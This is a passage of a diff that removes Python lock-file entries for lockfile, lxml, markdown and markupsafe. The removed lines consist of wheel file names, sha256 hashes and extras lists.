-groups = ["main"]
-files = [
-    {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"},
-    {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"},
-]
-
-[[package]]
-name = "lxml"
-version = "6.1.1"
-description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API."
-optional = false
-python-versions = ">=3.8"
-groups = ["main"]
-files = [
-    {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60"},
-    {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206"},
-    {file = "lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067"},
-    {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a"},
-    {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa"},
-    {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383"},
-    {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1"},
-    {file = "lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a"},
-    {file = "lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5"},
-    {file = "lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485"},
-    {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2"},
-    {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6"},
-    {file = "lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8"},
-    {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83"},
-    {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6"},
-    {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c"},
-    {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08"},
-    {file = "lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621"},
-    {file = "lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28"},
-    {file = "lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b"},
-    {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7"},
-    {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f"},
-    {file = "lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2"},
-    {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635"},
-    {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf"},
-    {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc"},
-    {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955"},
-    {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a"},
-    {file = "lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a"},
-    {file = "lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77"},
-    {file = "lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f"},
-    {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736"},
-    {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f"},
-    {file = "lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c"},
-    {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b"},
-    {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2"},
-    {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5"},
-    {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785"},
-    {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947"},
-    {file = "lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca"},
-    {file = "lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660"},
-    {file = "lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc"},
-    {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0"},
-    {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245"},
-    {file = "lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5"},
-    {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462"},
-    {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465"},
-    {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a"},
-    {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590"},
-    {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb"},
-    {file = "lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603"},
-    {file = "lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137"},
-    {file = "lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf"},
-    {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee"},
-    {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038"},
-    {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e"},
-    {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072"},
-    {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52"},
-    {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b"},
-    {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2"},
-    {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e"},
-    {file = "lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1"},
-    {file = "lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e"},
-    {file = "lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c"},
-    {file = "lxml-6.1.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6689e828a94eee4f139408c337bb198e014724bb8a8c26d3cfac49d119ed69a6"},
-    {file = "lxml-6.1.1-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bdebcc8a75d38c7598dfb2c9ed852d7a9eb4a10d6e2d0764b919b802bf32ac88"},
-    {file = "lxml-6.1.1-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8be8ad51249698103d24b0571df35a10990fbe93dd043b6c024172189485f5e3"},
-    {file = "lxml-6.1.1-cp38-cp38-manylinux_2_28_i686.whl", hash = "sha256:76447f65250ed2501ead1a1552f5ce8edff159a86f308348e6a9c4acb5e1f1b4"},
-    {file = "lxml-6.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ffecec8eb889b58ba9be5b95fb1cc78e22ea8eedea38e8736a1568fe1979250e"},
-    {file = "lxml-6.1.1-cp38-cp38-win32.whl", hash = "sha256:c674693f055fa2495de12292cb45e9944199d8eaef5a2dec45175c7c61cb73e3"},
-    {file = "lxml-6.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:55b03549819867ea141c0202242c4816c82e52ec36e7e648db9d8da5a3dc3ed6"},
-    {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c9f79d5325907f13e1be0b3e4dacc1049d1dffc4aeee3c995284bea5fe0fab7d"},
-    {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:83b6b30eb131da7a75b601f28c5d6971e6ed3e887919bf6b6a1ad3c2df289080"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:441dd227fa0690eb9fc81edabc63cdcefc212bba99b906dcf6e32cc1a9d3e533"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e07c65f443c887bbcf31cc1771d932ecc192a5273943589b3c7572b749f1ffb2"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5bec7d03d78d853597d6107854c2310ce3f761fd218fe9fe91d5101fcf6c2efe"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f76acfb5f68ba982635a53fd985a8044be98a35b43232c2a1ee235ffab3e1dd"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:8d43ca737b20e106e4aebc42b2f3ae19f00ba63d7eb731698ee083d72d15646f"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:32ab449a5486f6c758e849bb86710d0e45edc24a04e250c01555f8f5653958f8"},
-    {file = "lxml-6.1.1-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53c909b62a0532183542fed00c5a7218258c56292d409bc789886fe1cb04c438"},
-    {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:640f97d43d867bcb9c75b3af013b64850756b746cb6bce8ace83b70da3abba9d"},
-    {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:469e3618338bd7ab5beb412d2439825479fcf0dab99e394ca563dbc4eaf6c834"},
-    {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:aae97dfdb60715c164419ac2532a76d013c3918a665eb6cb7288098b5f349aaf"},
-    {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c9a4b821dc7055bf9e05ff5719e18ec501f75c0f0bbfabd573b277559780833d"},
-    {file = "lxml-6.1.1-cp39-cp39-win32.whl", hash = "sha256:639f6c857d91d9be29bd7502348d6736dab168b54b5158cd899abf11684dc186"},
-    {file = "lxml-6.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:34c2d737beabfe35baada43941ed519251e9a12e779031496bcd5d539fcfd730"},
-    {file = "lxml-6.1.1-cp39-cp39-win_arm64.whl", hash = "sha256:07a4a68e286ee7a1ed7dfb8af83e615757c0ccfe9f18c6b4ea6771388d9ba8c9"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf"},
-    {file = "lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84"},
-    {file = "lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40"},
-]
-
-[package.extras]
-cssselect = ["cssselect (>=0.7)"]
-html-clean = ["lxml_html_clean"]
-html5 = ["html5lib"]
-htmlsoup = ["BeautifulSoup4"]
-
-[[package]]
-name = "markdown"
-version = "3.10.2"
-description = "Python implementation of John Gruber's Markdown."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev", "docs"]
-files = [
-    {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"},
-    {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"},
-]
-
-[package.extras]
-docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"]
-testing = ["coverage", "pyyaml"]
-
-[[package]]
-name = "markupsafe"
-version = "3.0.3"
-description = "Safely add untrusted strings to HTML/XML markup."
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"},
-    {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"},
-    {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"},
-    {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"},
-    {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"},
-    {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"},
-    {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"},
-    {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"},
-    {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"},
-    {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"},
-    {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"},
-    {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"},
